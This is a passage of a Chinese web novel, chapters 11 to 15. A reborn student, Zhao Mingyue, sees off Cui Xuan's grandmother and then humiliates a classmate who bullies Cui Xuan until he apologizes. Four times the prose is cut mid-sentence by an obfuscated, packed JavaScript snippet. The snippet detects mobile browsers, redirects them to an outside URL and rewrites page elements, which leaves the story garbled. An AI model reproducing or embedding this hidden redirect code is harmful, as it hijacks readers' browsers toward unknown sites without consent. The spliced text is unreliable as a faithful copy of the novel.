崔奶奶嘴唇动了动,下意识就想说吃鸡蛋好,吃鸡蛋有营养,又怕这话赵明月不爱听,最后还是闭上嘴,把两个鸡蛋都塞给崔璇。 看崔璇又在跟崔奶奶推辞,赵明月清清嗓子开口:“这屋里谁收拾的呀?怎么收拾这么干净,比我花几百块找人打扫的还干净。” 崔奶奶顾不上把崔璇塞来的鸡蛋推回去了,注意力全被赵明月的话吸引:“几,几百块?不就拾掇个屋子,哪用这么多钱哦!” “上门保洁就是这个价钱啦,全屋打扫也不是好干的,”赵明月笑着说:“这一下帮我省几百块,我都不好意思了。您还是在这儿多住几天吧,正好今天下午上完课就放假,可以多陪崔璇几天。” 如果能留下崔奶奶,崔璇自然也没办法离开。 崔奶奶摇头:“不留啦,得回去喂鸡喂狗,给菜苗苗浇水,赶明儿还得上坟烧纸嘞。” 其实她还是觉得在村里更自在,城里变得太快啦,公交车上都没售票员,进去就让什么扫码、刷卡,她没码也没卡呀,放两块钱纸币,人家都很新奇地盯着你瞧。 她就知道了,在人家眼里,她这样是很奇怪的。 在城里她是奇怪的,可背着背篓走在村子里,就没人会用那种眼神瞧她。 可要是说因为不自在想回去,好像显得她不知道好歹,那还是说些要干的正事吧。 赵明月又劝了几句,见崔奶奶仍旧坚持要走,就不再多说。 吃完早饭时间还充裕,崔璇想送崔奶奶去公交站,赵明月直接叫车给崔奶奶送到家,借口说路费能走公账报销,不花钱。 崔奶奶不理解,没听懂,但也没怀疑,在她看来赵明月是城里人,会什么都不稀奇。 临走前,趁司机在搬东西,崔奶奶拉着崔璇和赵明月的手,先叮嘱崔璇在学校好好学习,好好吃饭,说等放假就来接她回家。 随后又把赵明月的手叠在崔璇手上,拍着她手背,说了许多感谢的话。 崔璇肩膀不自觉微微耸起,身体有些紧绷,属于另一个人的温度,忽然在交叠皮肤处变得如此清晰,烫得她耳尖发痒。 从小到大,除了奶奶她实在很少与人肢体接触,牵手尤甚。 赵明月垂眸看着她跟崔璇被崔奶奶叠在一起的手,耳边是崔奶奶絮絮叨叨的叮嘱,说以后让崔璇给她带土特产,带好吃的,让她跟崔璇好好处朋友。 赵明月屈指攥住崔璇的手,笑着看了眼呆呆愣愣,有些神游天外的崔璇,应声跟崔奶奶承诺: “您就放心把崔璇交给我吧,我肯定跟崔璇好好处,好好照顾她。” 11. 第11章 崔璇晃晃脑袋,心想赵明月说的话怎么,怎么这么……好像也没什么不对呀,只是说出来让奶奶放心。 崔奶奶也没觉得有什么不对,抹一把眼睛连连说好,知道孙女在学校有朋友有人帮衬,她终于能稍稍放心。 把奶奶送上车,崔璇关好车门,直到车的色块在模糊视线中消失,她才呆呆垂下脑袋。 “我们也该走了。” 赵明月按住崔璇肩膀,探身弯腰,从下往上去看崔璇,一双低垂的、湿漉漉的眼撞入眸中,赵明月想说的话不由顿了一下。 她最怕看见崔璇哭了。 “今天下午上完课就放假,”赵明月直起身子,胳膊搭在崔璇肩膀上,往她那边靠:“你奶奶家离这儿也不算远,开车一个多小时就能到,三天假期也不短,等放假回去看看也行。” 崔璇吸了下鼻子,轻轻摇头。 来回一趟路费够她十几天饭钱,她想见奶奶,却从没想过想见了就回去看看,那对她来说太奢侈了。 她只是觉得难过,觉得不值,控制不住地自责。 开车一个多小时能到,可奶奶要来看她,得先骑着三轮到镇上才能坐大巴,坐大巴到了客运站,还得再找公交站转公交。 那么沉的背篓,那么远的路,花费那么多精力和时间,只为来给她过个生日,太不值得了。 可这些情绪怎么好跟赵明月说呢?说出来就像在卖惨,像在暗暗寻求帮助,崔璇不想那样。 赵明月已经帮了她那么多,不该再让她身上那些麻烦,沾染赵明月了。 揉散眼底的水光,崔璇认真跟赵明月道谢:“我没事的,就是有点舍不得,但也没那么想回去,赵明月,谢谢你帮我这么多。” 可不舍这种情绪,本身就足够令人难过。 赵明月没有多说什么,伸手揉了把崔璇脑袋:“不用谢,我又不是白帮忙,以后要你帮忙的地方多着呢,不会便宜你的。” 因为跟奶奶分别而产生的难过情绪,就这样猝不及防被赵明月的话击散,崔璇甚至一时不察呛了口空气,猛咳几声。 罪魁祸首赵某当即拍拍崔璇后背,嘴里还嘀嘀咕咕:“怎么突然开始咳嗽了?是不是昨天淋雨受寒了?时间还早,先回家喝杯感冒灵吧。” “不用不用,我,我没有感冒,还是快走吧,不然要迟到了……” 崔璇一边摇头,一边从弯腰从赵明月手臂下转出去,闷头往外没走两步,后背双肩忽然一紧。 书包被人从身后一把抓住,连带着崔璇也没法再挪动半步,只能攥着书包带,扭脖子仰头朝后看。 赵明月觉得自己抓住的不是书包,倒像是小蜗牛的壳。 忍不住想笑,赵明月攥着小蜗牛的壳,把耳朵红红的崔璇转了个方向。 “笨蛋,要往这边走啦。” 小区离学校很近,过两条街转个弯就是,步行走快点,十分钟不到就看见了学校。 人总是很难面对失败的过去,难以接受不如从前的评价。衣锦还乡荣归故里有多自豪,落魄归来就有多羞耻。 上辈子因为家庭变故自顾不暇,生活一落千丈,赵明月对旁人的目光愈发敏感在意,从没想过回学校看看。 即便后来发现崔璇跟她是高中同学,也只是在网上联系从前的老师校友询问情况。 算起来,距离她上次回到学校,也已经有十一年了。 踏进学校之前,赵明月对重回十几年前最大的感触,就是崔璇还活着。 可直到她这个年近三十、已经在社会上摸爬滚打数年、脱离校园许久的成年人穿着校服,以稚嫩的学生身份重回学校。 重生的实感仿佛才姗姗来迟,摧枯拉朽般冲击着胸膛。 人这一生,究竟能有多少大大小小的遗憾呢? 崔璇的结局,破产欠债的家庭、相继去世的父母、渐行渐远的朋友、毕业后即将成形被迫终止的工作室、颠倒黑白的污蔑、一次又一次的疲惫退缩…… 遗憾总在不断回望里增生,任谁都难以数清。 而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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除了过期的零食,奶奶带来的吃食留给赵明月,等以后再多多补偿还完恩情,她们之间,应该就不会有什么交集了。 她该努力工作,早点攒够钱去住宿,好好学习,赵明月也会继续过她原本顺遂幸福的生活。 各归其道,这样很好,本来就该这样的。 可看着赵明月走远的背影,不知道为什么,心底却又有些难过。 12. 第12章 回到班里时离上课还有十几分钟,班里人不全,她的同桌也还没来。 同桌林以恒在班里经常占据前三,但鼻炎严重,经常擤鼻涕,桌子边挂着纸袋,袋子里都是用过的卫生纸。 林以恒擤鼻涕时经常引来侧目和嘲笑,班里好多人都说她脏,不干净。 崔璇不懂为什么鼻涕擦到纸上,纸也扔进了垃圾袋,但又脏又不干净的人会是林以恒。 就像她不明白,为什么衣服破旧但洗得干干净净,也会有人说她又脏又臭,爱捡破烂穿。 不过没关系,她不需要什么朋友,她只要好好学习就够了。好好学习考上好大学,赚很多很多钱,就可以把奶奶接到身边,再也不用跟奶奶分开,不用让奶奶那么辛苦了。 拉开凳子坐到座位上,崔璇把鼓囊囊的书包抱到身前,拉开拉链,从被过期零食挤满的书包里小心翻出单词本,还没放到桌子上,忽然有只手伸进书包里,飞快抓走一把零食。 “哎哟崔璇!上学还带这么多零食啊你?见者有份见者有份,这几个我就笑纳了啊!” 崔璇怔了一瞬,反应过来后下意识站起,想把零食从那人手里抢回来。 拿着零食的周博文侧身一躲,嘴里嚷嚷:“你干嘛呢?我就拿这么几个你都舍不得?” 崔璇眉头紧锁,深吸一口气,努力维持声音不要颤抖:“还给我!” “你有几张嘴啊?这么多你又吃不完,大家都是同学,分我几个怎么了?做人不能这么自私啊!” 崔璇脸颊气得发红,唇瓣紧抿,一句简简单单的“零食过期了”,却怎么都说不出口。 如果这么说了,周博文肯定要问过期零食哪来的,过期了为什么还带着,再嘲笑她吃过期零食…… “还给我,”崔璇不接他的话,只闷声朝他伸手讨要:“这是我的东西,不给你,还给我……” “啧,你当我稀罕啊?”眼看周围已经有人在盯着他们看,周博文啧了一声,拿着零食在崔璇眼前一晃:“这种老掉牙的零食,你主动送我也不稀罕吃!” 崔璇伸手去抓,又被他躲开,抓了个空。 抓着零食的那只手故意高高抬起,周博文脸上笑容戏谑:“喏,不想给我你就自己来拿啊。” “举那么高她怎么够得到?”有同学看不过眼,出声说话:“周博文!你别故意欺负她了!” “我哪有欺负她?我都说了不吃她的宝贝零食了,只是让她自己把东西拿回去而已,她要真想拿,跳起来不就能够到了?” 他自觉向崔璇要零食不得是被落了面子,怎么说也得小小报复一下,不然他的面子往哪搁? 看着崔璇抿着嘴唇不说话,眼眶里好像都变得水润润,像要哭出来一样,周博文心底一阵畅快,故意拿着零食,在崔璇面前一高一低晃,语气贱兮兮:“来来来!来拿啊!” 看崔璇不动,周博文正要再度开口,却忽然听见一道声音从背后传来: “好玩吗?” 周博文下意识回头,见有人站在他身后,正双手抱臂靠着桌子看他。 他脱口而出:“赵明月?” 赵明月上下扫了眼,没半点印象,不过她不认识的人认识她,也不算什么稀奇事。 “她要是不跳起来拿呢?就你这身板难不成能一直举着?你行吗?” 崔璇一直这么愣愣站着不搭理他,周博文胳膊举得都有点酸了,也觉得没意思,本来都打算再逗崔璇几句就把东西扔回去。 但经由赵明月这么一问,他要是放下来,似乎就印证了赵明月说的身板不好人不行。 男人怎么能说自己不行! 周博文当即冷哼一声:“几十斤的杠铃我都能举起来,举一会儿零食算什么?” 赵明月眉头轻挑,语气质疑:“真的假的?崔璇不去拿,你就能一直举着不放下来?” “当然!”周博文下巴轻抬,踢了脚崔璇的桌子:“小矮个,你不是不想把这零食给我吗?喏,零食就在这儿,有本事你来拿啊!” 他自觉气势十足,狠话放得十分威风,可崔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550709|204324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 璇好像耳朵聋了一样,一眼也不往他这边看。 赵明月放下手臂,终于不再靠着桌子,站直走到崔璇对面,把手里的保温杯递给崔璇。 崔璇低头看看保温杯,又抬头看看赵明月,目光中带着点茫然,一时间没有动作。 “拿着呀,”赵明月不大自在地轻咳一声,给自己找补:“要不是为了把这个给你,我才不过来找你呢,赶紧趁热喝了。” 崔璇迟疑着接过:“这是什么?” “你喝了不就知道了?”赵明月嘀嘀咕咕:“反正不是毒药。” 崔璇犹豫几秒,拧开杯盖,热气蒸腾,一股感冒灵的味道扑进鼻腔。 她盯着杯底褐色液体看了几秒,眼睛被热气蒸的有些发胀,再抬眼时,鼻子好像也有些发酸了。 她想问赵明月不是生气了吗,为什么还来,为什么还要对她这么好……可最后说出口的,却是带着浓重鼻音的一句。 “我没有感冒的。” “赵明月…我没有感冒的。” 赵明月:“之前流眼泪吸鼻子咳嗽就是感冒前兆知道吗?再说等你真感冒就晚了。” 崔璇唇瓣轻抿,不好意思说那是哭的。她垂下眸子,保温杯里的热气徐徐蒸腾,让睫毛都氲出湿润。 “那也……不是感冒。” “嗯嗯,没有感冒,知道啦知道啦,”赵明月笑眯眯探头过去:“那喝掉好不好?就当喝小甜水了。” “这是你的杯子……” “嗯?原来是嫌弃我用过啊。” “不是,不是的……” 她怎么会嫌弃赵明月呢?赵明月嫌弃杯子被她用过还差不多。 赵明月笑:“那你把药喝了,你把药喝了,我就信你不嫌弃我。” 周博文再看不出赵明月站在崔璇那边,他就真是个傻子了。 他胳膊举得酸痛都要打颤,这俩人却光明正大在这里打情骂俏! 心中憋屈,手里零食往桌子上一砸,周博文怒道:“你俩合起伙来耍我是吧!” 13. 第13章 零食砸上桌子又掉落在地,崔璇正跟杯子隔开一点距离准备喝药,被这突如其来的动静吓了一跳,险些没抓稳杯子。 赵明月托住杯底,神色微冷,和崔璇说话的语气却和缓:“我试过了,不烫。” 周博文就这样又一次被忽视,一巴掌拍在桌子上,恼怒道:“跟你们说话呢!” 赵明月瞥他一眼:“狗叫什么?这么快就举不动了?” “我那是看穿你的阴谋诡计了!” 他一开始看赵明月让崔璇喝东西,还以为赵明月是要整蛊崔璇,幸灾乐祸没几秒,就发现事情不对:“你们根本就是一伙儿的!合起来耍我!” 赵明月没接他的话,上下扫视着他,忽然问:“你家是不是很穷?” 周博文瞪眼:“你什么意思!” 赵明月摊手:“你都开始跟人讨食了,难道不是已经穷到吃不起饭?” “你放屁!”周博文又是一巴掌拍在桌子上:“小爷家里阔绰的很!想吃什么吃什么!要不是怕她吃不完给她分担,这种便宜货我一眼都不稀罕看!” 赵明月不接他的话,又抛出一个问题:“你那么阔绰,为什么不分点钱给同学?” 周博文:“我凭啥要给别人分钱?” “怕你钱花不完给你分担压力啊,”赵明月摇头叹气:“没想到你这人这么抠门自私,实在不想分钱算了,给班里同学准备点零食也行。” 周博文气笑了:“咋的,买零食不用花我钱啊?” 怕明嘲暗讽对方听不懂,赵明月说得很直白:“崔璇的零食得花钱,但你不用啊,你可以乞讨、用脸皮换嘛,我看你很有经验啊。” 有人没忍住,噗一下笑出声。 听出赵明月是在骂他不要脸,再看周围同学眼神都在往这儿瞟,还有人毫不掩饰嘲笑,周博文心底倏然涌上一股羞愤怒意,整张脸涨得通红。 “你过分了吧!”他红着脸大声道:“我就是跟她闹着玩!你至于上纲上线说话这么难听吗!” “闹着玩?”赵明月随手从崔璇书包里摸了袋早餐奶,在手里上下抛两下,忽然朝周博文扔过去。 赵明月动作迅速果决,周博文根本没来得及做出反应,那袋早餐奶已经重重砸上他的脸,又啪嗒一下掉在地上。 不算很痛,但羞辱意味极强。 呆愣两秒,周博文暴怒,几乎失去理智想要动手,可看清赵明月脸上嘲讽笑意,冲动的脑子瞬间冷静下来。 周围同学都在看着,况且赵明月家里有钱不好惹,真闹起来肯定还是他吃亏,可什么都不做又太丢面子,他眼珠子转了转,最终一脚踹在桌子上:“赵明月!你不要——” “哎呀!手滑了!” 赵明月打断他的话,手指敷衍地挡在唇边,没遮住嘴角上扬的弧度:“不过你这么爱跟别人闹着玩,肯定能理解我,也不会生气对吧?” 周博文捏紧发麻的拳头,胸膛剧烈起伏着,有心想呛回去,却又想不出有力的反驳。 他想不明白,在此之前从没听说崔璇跟赵明月有什么关系,这根本就是天上地下毫不相干的两个人,连名字都不会一起提到,怎么就突然关系这么好了? 好到哪怕两班不在一层楼,赵明月也要专程过来给崔璇送什么感冒药,好到同学之间开玩笑这种小事,赵明月都要为崔璇出头? “赵明月,我不知道崔璇是怎么勾搭上你的,但你跟她才刚认识不久吧?你不知道她是个什么样的人,有些人看着可怜,但可怜之人必有可恨之处你没听过吗?她……” 赵明月揉揉耳朵,并没尝试跟脑残讲道理,只顺着他的话点头,佯装深以为然:“你现在破防狂吠的样子看起来很可怜,按照你的说法,是因为你很有可恨之处对吧。” “赵明月!你别不识好歹!”周博文愤怒环顾四周,希望有同学能站出来附和他一起抵抗赵明月,可扭头看一圈只看到一群兴致勃勃看戏的,又把自己气个半死。 即便没有人站在他这一边,他依旧很顽强地发声,试图让对方感受到道德谴责:“我好心跟你说这么多,你真是不识好歹!亏我以前还觉得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550710|204324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你优秀……” 赵明月:“被你这种人认为优秀,难不成是什么值得骄傲自豪愉悦的事吗?” 周博文还想说话,又被赵明月撵狗似的摆手,截住话头:“行了行了,别再用你那不好使的脑袋说招笑的话了,要正常人去理解你那奇葩思维也挺煎熬的。” “以偏概全因果倒置,合理化冷漠和迫害行为,还要倒打一耙指责别人……做学生已经没法满足你蓬勃的审判欲了是吧?” 赵明月摸摸下巴:“这么想当审判长啊?我看你虽然没戏,但却可以试试坐下边被告席,让审判长裁定一下你的刑期,也算贴近梦想了。” “也不知道凭你的脑子能不能听懂,这位……也不知道你叫什么。” 赵明月佯装沉思两秒,随即一点头:“还是简单称呼你为霸凌哥吧,精准又贴切。” 周博文根本找不到插口的间隙,想说话又不知道说什么才能让赵明月吃瘪,只觉得一股气梗在心口,噎得他脸色胀红,手抬抬落落,只有几个断断续续的“你你你”漏出来。 赵明月充耳不闻,一锤定音:“我现在给你三个选择。” “第一,我替崔璇请律师告你,你可以为自己做过的事负责,既能见到审判长,还能算你有点人样。虽然很遗憾坐不了牢,但赔个几千块,拘留几天留个案底,让你光宗耀祖、给父母脸上添光、在学校成为知名人物,还是没问题的。” “第二,让学校依据未成年人学校保护规定进行调查处理,处理无外乎处分,通报批评或者劝退,也勉强算你还要点人脸。” “第三,”赵明月摇着三根手指叹气:“第三,也是我最不希望你选择的一条。” “懦弱地逃避责任,把你抢走的、扔掉的东西还回来,跟被你欺负的同学道歉,虽然不要脸不当人,但可以无耻地逃避责任啊对不对?” “当然,你也可以什么都不选,顽抗到底,我会跟学校和你父母协商,在1跟2之间替你做出选择。” “霸凌哥。” “你选,还是不选呢?” 14. 第14章 选也是选,不选也是选,赵明月到底哪里给他选择了? 刚开始听赵明月说第一条时,周博文还有些不以为意。他又没打崔璇,就抢了个零食,给崔璇起了几个外号,阴阳怪气了几句而已,就算被告也肯定判不了刑。 赵明月也承认判不了刑,可是赔钱、拘留、留案底……赵明月家里有钱,请个好律师估计真能做到。 真被搞了,学校里肯定传得沸沸扬扬,校内学生有他邻居、亲戚的孩子,到时候回家一说,认识他的就都知道了…… 别说打官司拘留赔钱留案底,就算被学校通报批评处分叫家长,他爹妈知道了都会往死里揍他。 但让他道歉,他的面子又往哪搁?想也知道班里同学肯定会嘲笑他,还会把这件事往外说,他以后还怎么在学校里混下去? 恼怒之余,周博文心里更多几分后悔,语气也不免弱下来:“我就是跟她闹着玩…我就是拿零食逗逗她,怎么能算霸凌?我把零食还给她,大不了再赔她一百块钱嘛,大家都是同学,没必要闹那么……” 赵明月掏掏耳朵:“顽抗到底是吧?那就——” “等等!”周博文连忙开口,迎着四周各异目光,后槽牙都快咬碎了,才生生挤出来几个字:“我…道,歉……” 周博文攥着拳忍辱负重地说完,赵明月却没接话,倒是周围喋喋讨论声往他耳朵里冲。 “看吧,真是道歉!我猜对了!” “他只是又蠢又坏,但不是傻,拘留案底、背处分、通报批评跟道个歉放一块,该选哪个不是一目了然?” “活该啊他,平常那么嚣张总喜欢抢别人东西,还说什么闹着玩,谁想跟他玩啊!这次总算踢到铁板了……” 也有人觉得周博文罪不至此,倒是赵明月太咄咄逼人,可赵明月人还在这儿,这话没人敢当她面说,生怕被听到自己就要变成下一个周博文。 周博文……周博文本人脑袋快炸了。 他只听到最近的几句冷嘲热讽,但已经能想象到这事儿发酵发酵,紧随其后的该有多少议论。 道歉吗?他难道真的要道歉?理智上知道现在离上课还早,可他还是忍不住升起期望,如果能拖到打上课铃…… 赵明月一个外班学生,总不能打了上课铃还留在他们班里吧?到时候她不想走也得走了,时间一长谁还关心这事? 他从未有哪一刻像现在这样,如此期盼上课铃的到来! 可赵明月没给他这个机会。 “道歉总不可能还得人教你,”赵明月摸摸下巴,旋即突然明悟似的打了个响指:“我知道了!你一定是觉得就这么开始道歉不够正式对吧?还得搭个台子。” 不等周博文说话,赵明月已经开始行动。 班里就这么大点地方,出了这事儿,全班都在关注这里,赵明月拍拍手就让全班安静下来,并成功吸引所有目光。 她清清嗓子:“这位犯罪嫌疑人…不是,这位霸凌哥……不对,这位,嗯,不太想为自己所作所为负责的懦弱逃避男!准备向苦主道歉了!” “虽然不情不愿,也没什么诚心,但尽管如此,他还是想有一个正式的流程,一个广阔的舞台,为自己的霸凌行为表演道…呃,进行道歉!” 周博文听得眼前一黑又一黑,恨不得冲上去捂住赵明月那张损人毫不留情的嘴。 可他不敢。 算了,反正都这样了,越拖班里来的人也越多,干脆早点说完早点走人,就算赵明月不走,他也可以走啊! 刚要开口说话,忽然被赵明月打断。 “诶,懂不懂流程?先捡东西啊。” 周博文脑袋上青筋跳了跳,忍着气弯腰去捡零食。 “同学们给他让让道,小心他心怀怨怼暴起伤人,踩你们踹你们撞你们两下就不好了啊……” 周博文刚捡起一个旺旺雪饼,就听赵明月这么开口,再去捡第二个掉在围观同学前边的薄脆饼干时,周围同学纷纷后退几步,仿佛他真会暴起伤人一样。 同班同学!居然信赵明月一个外人,都不信他的人品! 周博文抬头怒目而瞪! “快退!”围观同学里不知道谁喊了一声:“他要暴起了!” 人群顿时四散而逃。 周博文怔怔看着面前已经空荡荡的道,静默几秒,含恨用力捡起饼干。 赵明月又慢悠悠开口:“故意捏坏罪加一等。” 周博文还没攥紧的手指赶紧收力。 迅速捡完东西,周博文想把零食扔到崔璇桌子上,又怕赵明月揪着态度说事,只好中规中矩去放,还没放下,又被赵明月开口打断。 “你把人家零食扔地上,总得擦干净再还给人家吧。” 她甚至还得寸进尺提要求:“对了别用你衣服啊,越擦越脏到时候,用卫生纸擦!” 周博文:…… 小不忍则乱大谋! 大丈夫能屈能伸! 他忍! 怕被挑刺,周博文擦得还算认真,擦干净后放回去,正想朝崔璇开口道歉,赵明月阴魂不散的声音再度传来。 “你刚刚踹了谁的桌子,也记得给人擦擦。” 周博文大怒:“赵明月!你到底——”有完没完! 话没说完,看清气定神闲还有心笑的赵明月,周博文被怒火填满的脑子又一次清醒,超绝智商再次占领高地! 不对不对,不能中计! 赵明月肯定是想故意激怒他,让他连道歉都道不成,就可以顺理成章把这事捅到老师、学校面前……赵明月家有钱有势的,在学校找找关系就能从重处罚他,他绝对不能中计! 他再次忍下,自觉拿卫生纸去擦踹过的桌子,只是越擦,心里越不得劲,无比委屈。 “干过这种事的又不止我一个,你怎么就非要盯着我搞!” “哦?”赵明月靠着桌子,搭在手臂上的指尖轻敲,拉长了语调:“那你说说——都还有谁啊?” 班里当然也有,但周博文自觉是个讲义气的好男儿,绝不会出卖兄弟,正打算扯几个别班的人,还没出声就被人打断。 这次打断他的不是赵明月。 是他想保全的兄弟们! “除了你还能有谁啊?谁闲的没事去欺负别人呢?” “就是就是,你别扯无关人士下水啊,赶紧道歉吧你!” “别太恶毒啊周博文,自己欺负人不想道歉,这就开始说瞎话想污蔑别人了?” 被背刺的周博文瞪大双眼,悲愤交加的情绪在这一刻达到顶峰,气得话都说不利索:“你…你们……” “周博文,做个人吧!做人不能太周博文啊……” “明明就是你们!你们也抢过崔璇东西,现在居然,居然还倒打一耙,敢做不敢当!你们这群******——” 赵明月连忙按住崔璇耳朵,这么多脏话在高中小孩班里哔来哔去影响实在不好,会脏了她家崔璇的耳朵。 况且她也怕周博文骂爽了,把刚刚憋的气出了,那多不好啊! 遂愉悦添火:“行了行了,这么多人都说你是胡乱攀扯,总不能冤枉你吧?你就别乱咬别人了,赶紧道歉。” 周博文气得眼前阵阵发黑,胸膛里像是装了个煮开的水壶,壶盖噼里啪啦上下翻涌,水蒸气噌噌在他胸腔里喷。 他冤枉!他委屈!他说的才是实话!那群傻*——才是满嘴瞎话骗人! “差不多得了,”赵明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550711|204324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月继续煽风点火:“人家都不跟你计较了,你就别闹了,赶紧道歉吧。” 周博文对兄弟背刺的恨意,在这一刻甚至超越了赵明月! 他忍受屈辱,将宝贵的尊严和脸面踩在脚下,低声下气道歉,眼神却恶狠狠地盯着插他两刀的兄弟。 赵明月没仔细听周博文的道歉,这场表演的目的已经达到,至于道歉内容……反正不是诚心的,内容真挚与否都不值一提,也就听个响。 崔璇同样没在听。 她喝完药去洗了杯子,洗净杯子又重新接了满满一杯水,只是热水接的有些多,握着杯子的手指被烫得发痒。 更痒的,是被赵明月捂住的耳朵。 缩缩脖子躲开赵明月的手,崔璇闷头抱着杯子。 赵明月好厉害,她说多少遍都要不回来东西,可赵明月轻易就说得周博文讲不出话,还了东西,擦了桌子,还当着这么多人的面给她道歉…… 这么厉害的赵明月,为什么要对她这么好呢? 一直帮她,一直帮满身麻烦的她,到底是为什么呢? 是可怜她吗?是怜悯她吗?还是因为赵明月人好,本就喜欢帮助别人呢? 崔璇想不明白。 虽然道歉的两个主要目标都没在听,但周博文的道歉还是进行到了尾声,讲完之后想走又不敢走,眼巴巴看着赵明月跟崔璇。 还没等到赵明月说话,身后忽然传来道冷淡声音。 “好狗不挡道。” 周博文额头青筋跳了跳,愤怒回头,看见是崔璇的同桌林以恒。 他很想撞一下林以恒,或者摔个东西踢个桌子表达自己的怒火,挽救一下自己岌岌可危的面子,可又怕被赵明月抓住由头伺机报复,只能先忍了这口恶气,不耐烦地往旁边挪两步。 林以恒将要走过去时,忽然停下脚步,眉眼轻抬上下一扫,道了句:“好狗。” 语调没什么情绪,但内容是夸赞。 可惜周博文不太领情,气得眼前发黑,拳头紧攥,胳膊都抬起来了,视线忽然瞥到挑眉看他的赵明月。 不能上当! 忍! 他用力转身,大步迈出,哐哐哐走出教室,最后摔了下门。 刚要进班的同学被他撞了一下,又被猛碰上的门风扫了一脸,骂骂咧咧推门: “周博文这神经病发什么猪瘟呢!” “体谅体谅,他这次丢脸丢大发了,估计现在气的想死。” “怎么个事儿?” 顿时有人神情振奋,热情招手:“快来!来来来我跟你讲……” 赵明月摸摸下巴,觉得从今往后,周博文见了崔璇都会绕着走,况且有这么一遭,班里应该也没人敢欺负崔璇了。 只可惜不能把其余欺负过崔璇的人一并揪出来,一来只靠一个人的口供也做不了什么,二来揪的人多了,他们难免会同仇敌忾抱团,在她看不到的地方,兴许就会把怨气发泄在崔璇身上。 不说别的,体育课上故意拿球砸一下就够崔璇受的,到时候再扯个不小心的借口,崔璇能怎么办? 现在只能先让他们内部分化,再逮住一个狠狠收拾杀鸡儆猴。前车之鉴在,收获跟要付出的代价不对等,就没人会闲得蛋疼去欺负崔璇。 毕竟很多嘴里念叨着什么不知道犯法、没那么严重、只是玩闹的人,并非真不明白自己的所作所为触犯法律。 当那些名为玩闹实为霸凌的“小事”需要付出代价,当一举一动都要承担后果,而不再是轻飘飘的情绪宣泄,他们会突然聪明起来,突然知道那是不是小事一桩,突然明悟什么该做什么不该做。 桌面忽然被人轻敲两下,震动透过胳膊传递,打断了赵明月的思绪。 15. 第15章 “赵明月,这是我的座位。” 赵明月回头,见是刚刚夸周博文“好狗”的女生,目光在对方脸上定格两秒,觉得有点面善,像是在哪见过。 想了两秒没想出来,觉得既然是崔璇同桌,兴许是拍合照时跟崔璇站在一处,所以才有些印象。 从座位上站起来,赵明月往左一挪,腾出林以恒的位置,人却没离开,反倒挤进崔璇座位上,坐了半个椅面。 崔璇下意识想起来给赵明月腾位置,腰间却忽然圈过来条胳膊,按着她重新坐下去。 “你这么瘦,咱们挤挤也坐得下。” 崔璇捧着杯子的手指倏然收紧,下意识低头,视线落在自己腿上。 白净的皮肤,骨骼修长漂亮的手指,摊开按在她那条洗得有些发薄的校服裤子上。 崔璇目光一触即离,停顿几秒,却又忍不住偷偷回看。 她其实不太习惯跟别人接触,从小到大,村里的小孩拉着手跑,抱在一起跳着玩,她从没参与过。 后来上了小学,初中,高中,班里女生都有要好闺蜜,做什么都一起,牵手挽胳膊更是寻常,崔璇却始终都是孤零零一个人。 别说贴得这样近,连同坐一个板凳这样的事,对她来说都是全然陌生的体验。 腿上重量难以忽视,陌生的感觉让那片皮肤肌肉不自觉紧绷,崔璇不自觉动了下。 赵明月的手贴着崔璇腿侧擦过去,手指摸上凳子右侧余面,小臂不经意蹭过她后腰。 崔璇猛然绷直身子,往前倾了下。 赵明月没注意到,摸出凳子那边还有余地,就蹭着崔璇往那边挤:“挪挪,再往那边挪挪,我摸到了还有……” 崔璇听到指令下意识照做,她挪得快,赵明月话没说完,还没来得及收手,手指就这么被她坐了一下。 “嗷——” 崔璇一抖,弹簧似的猛站起来,赵明月迎着崔璇略带惊慌看回来的视线,慢悠悠收手晃了下,笑嘻嘻接上没说完的后半句:“不疼。” 她承认,她确实有那么一点、多半…99%,好吧,她就是故意捉弄崔璇的。 她以为崔璇会生气,或者闷闷地生气,扁扁地走开,可是。 “真的不疼吗?”崔璇没有半点被捉弄的自知,目光定在赵明月还粘着创可贴的左手上:“昨天你的手还被磕到了……” 创可贴她洗漱时摘下来,洗漱完又贴上的,手上的伤早就没感觉了,只是想留着。 但这不重要,重要的是崔璇居然真的一点都不生气。 这下轮到她不自在了。 “真不疼,”赵明月轻咳一声,站起来绕出去,把崔璇按回座位上:“对了,把你书包里其他东西腾一腾,我要把零食带走。” 崔璇的视线追着赵明月的手,看清没有受伤才松了口气:“零食…我给你留了,在书房桌子上。” 